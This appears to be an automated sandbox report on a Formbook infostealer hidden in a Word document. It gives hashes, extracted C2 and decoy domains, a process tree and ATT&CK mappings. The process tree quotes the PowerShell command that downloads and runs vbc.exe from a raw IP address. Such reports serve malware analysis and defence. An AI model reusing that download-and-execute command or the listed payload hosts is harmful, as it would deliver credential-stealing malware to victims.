formbook | 7c41d53d6dd4f2979bfcdea462feef025b2f31cf55644f927ece5f4699a1b7a9

Analysis

max time kernel
153s
max time network
164s
platform
windows7_x64
resource
win7-en-20210920
submitted
22-09-2021 19:13

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General

Target

ORDER QUOTE.docx
Size

10KB
MD5

eee70c12ab889fd6173de81fbc9a6817
SHA1

673a841da220e5ba72e5f30d1d566569595ed352
SHA256

7c41d53d6dd4f2979bfcdea462feef025b2f31cf55644f927ece5f4699a1b7a9
SHA512

7647f0d5adcd468a6cbae4900ecb2887de0a0f89ba25893379f905f04b7b9ee0fa89af755c8cb1db8e4d613f11a8f9f80334de3e784677d1fac1ad51cc9db8d7

Score

10^/10

formbook m8g0 rat spyware stealer suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://198.46.199.161/joo/vbc.exe

Extracted

Family

formbook

Version

4.1

Campaign

m8g0

http://www.psicologarenatacruz.com/m8g0/

Decoy

trypapaya.pro

instructorcornernet.com

techadvisorsfl.com

raunnan.com

filestune.com

learnitanywhereskills.com

beaullife.com

getcovidwear.com

tkrbeautyinstitut.com

lisaphamkhai.com

iconicdds.com

ksoopawlas.com

testosteron.store

jctaketwo.com

awexz.online

onlinening.com

steelwerkschicago.com

lukakordic.com

expertsofcoaching.com

dashcca.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata

Formbook Payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1712-90-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/1712-91-0x000000000041F1B0-mapping.dmp	formbook

Blocklisted process makes network request 2 IoCs

Processes:

EQNEDT32.EXEpowershell.exe

flow pid process

11 908 EQNEDT32.EXE
12 1848 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

regasm.exevbc.exevbc.exe

pid process

604 regasm.exe
1764 vbc.exe
1712 vbc.exe

flow	pid	process
11	908	EQNEDT32.EXE
12	1848	powershell.exe

pid	process
604	regasm.exe
1764	vbc.exe
1712	vbc.exe

Abuses OpenXML format to download file from external location 2 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Office\Common\Offline\Files\http://cml.lol/olxqqy	WINWORD.EXE

Loads dropped DLL 4 IoCs

Processes:

EQNEDT32.EXEpowershell.exevbc.exe

pid process

908 EQNEDT32.EXE
908 EQNEDT32.EXE
1700 powershell.exe
1764 vbc.exe
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

pid	process
908	EQNEDT32.EXE
908	EQNEDT32.EXE
1700	powershell.exe
1764	vbc.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

vbc.exeraserver.exe

description	pid	process	target process
PID 1764 set thread context of 1712	1764	vbc.exe	vbc.exe
PID 1684 set thread context of 1360	1684	raserver.exe	Explorer.EXE

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

908 EQNEDT32.EXE

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
908	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1624 WINWORD.EXE

pid	process
1624	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exeraserver.exe

pid	process
1848	powershell.exe
1700	powershell.exe
1700	powershell.exe
1700	powershell.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe
1684	raserver.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

1360 Explorer.EXE
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

raserver.exe

pid process

1684 raserver.exe
1684 raserver.exe

pid	process
1360	Explorer.EXE

pid	process
1684	raserver.exe
1684	raserver.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

powershell.exepowershell.exeraserver.exeExplorer.EXEWINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	1684	raserver.exe
Token: SeShutdownPrivilege	1360	Explorer.EXE
Token: SeShutdownPrivilege	1624	WINWORD.EXE
Token: SeShutdownPrivilege	1360	Explorer.EXE
Token: SeShutdownPrivilege	1360	Explorer.EXE
Token: SeShutdownPrivilege	1360	Explorer.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

Explorer.EXE

pid process

1360 Explorer.EXE
1360 Explorer.EXE
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

Explorer.EXE

pid process

1360 Explorer.EXE
1360 Explorer.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1624 WINWORD.EXE
1624 WINWORD.EXE

pid	process
1360	Explorer.EXE
1360	Explorer.EXE

pid	process
1360	Explorer.EXE
1360	Explorer.EXE

pid	process
1624	WINWORD.EXE
1624	WINWORD.EXE

Suspicious use of WriteProcessMemory 35 IoCs

Processes:

EQNEDT32.EXEWINWORD.EXEregasm.execmd.exepowershell.exevbc.exeraserver.exe

description	pid	process	target process
PID 908 wrote to memory of 604	908	EQNEDT32.EXE	regasm.exe
PID 908 wrote to memory of 604	908	EQNEDT32.EXE	regasm.exe
PID 908 wrote to memory of 604	908	EQNEDT32.EXE	regasm.exe
PID 908 wrote to memory of 604	908	EQNEDT32.EXE	regasm.exe
PID 1624 wrote to memory of 1644	1624	WINWORD.EXE	splwow64.exe
PID 1624 wrote to memory of 1644	1624	WINWORD.EXE	splwow64.exe
PID 1624 wrote to memory of 1644	1624	WINWORD.EXE	splwow64.exe
PID 1624 wrote to memory of 1644	1624	WINWORD.EXE	splwow64.exe
PID 604 wrote to memory of 1228	604	regasm.exe	cmd.exe
PID 604 wrote to memory of 1228	604	regasm.exe	cmd.exe
PID 604 wrote to memory of 1228	604	regasm.exe	cmd.exe
PID 604 wrote to memory of 1228	604	regasm.exe	cmd.exe
PID 1228 wrote to memory of 1848	1228	cmd.exe	powershell.exe
PID 1228 wrote to memory of 1848	1228	cmd.exe	powershell.exe
PID 1228 wrote to memory of 1848	1228	cmd.exe	powershell.exe
PID 1228 wrote to memory of 1848	1228	cmd.exe	powershell.exe
PID 1228 wrote to memory of 1700	1228	cmd.exe	powershell.exe
PID 1228 wrote to memory of 1700	1228	cmd.exe	powershell.exe
PID 1228 wrote to memory of 1700	1228	cmd.exe	powershell.exe
PID 1228 wrote to memory of 1700	1228	cmd.exe	powershell.exe
PID 1700 wrote to memory of 1764	1700	powershell.exe	vbc.exe
PID 1700 wrote to memory of 1764	1700	powershell.exe	vbc.exe
PID 1700 wrote to memory of 1764	1700	powershell.exe	vbc.exe
PID 1700 wrote to memory of 1764	1700	powershell.exe	vbc.exe
PID 1764 wrote to memory of 1712	1764	vbc.exe	vbc.exe
PID 1764 wrote to memory of 1712	1764	vbc.exe	vbc.exe
PID 1764 wrote to memory of 1712	1764	vbc.exe	vbc.exe
PID 1764 wrote to memory of 1712	1764	vbc.exe	vbc.exe
PID 1764 wrote to memory of 1712	1764	vbc.exe	vbc.exe
PID 1764 wrote to memory of 1712	1764	vbc.exe	vbc.exe
PID 1764 wrote to memory of 1712	1764	vbc.exe	vbc.exe
PID 1684 wrote to memory of 828	1684	raserver.exe	cmd.exe
PID 1684 wrote to memory of 828	1684	raserver.exe	cmd.exe
PID 1684 wrote to memory of 828	1684	raserver.exe	cmd.exe
PID 1684 wrote to memory of 828	1684	raserver.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1360

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ORDER QUOTE.docx"
2⤵
- Abuses OpenXML format to download file from external location
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
3⤵
PID:1644

C:\Windows\SysWOW64\raserver.exe
"C:\Windows\SysWOW64\raserver.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Local\Temp\vbc.exe"
3⤵
PID:828

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:908

C:\Users\Public\regasm.exe
"C:\Users\Public\regasm.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:604

C:\Windows\SysWOW64\cmd.exe
cmd /c powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')" & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:1228

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))"
4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1848

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')"
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700

C:\Users\Admin\AppData\Local\Temp\vbc.exe
"C:\Users\Admin\AppData\Local\Temp\vbc.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1764

C:\Users\Admin\AppData\Local\Temp\vbc.exe
"C:\Users\Admin\AppData\Local\Temp\vbc.exe"
6⤵
- Executes dropped EXE
PID:1712

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Scripting

T1064

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\vbc.exe
MD5
3dac10541270990e15c8742b0cd6f153

SHA1
ed5c87e500c51e055ddb9160929a3dac51d3a393

SHA256
744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

SHA512
66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\vbc.exe
MD5
3dac10541270990e15c8742b0cd6f153

SHA1
ed5c87e500c51e055ddb9160929a3dac51d3a393

SHA256
744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

SHA512
66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

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C:\Users\Admin\AppData\Local\Temp\vbc.exe
MD5
3dac10541270990e15c8742b0cd6f153

SHA1
ed5c87e500c51e055ddb9160929a3dac51d3a393

SHA256
744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

SHA512
66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

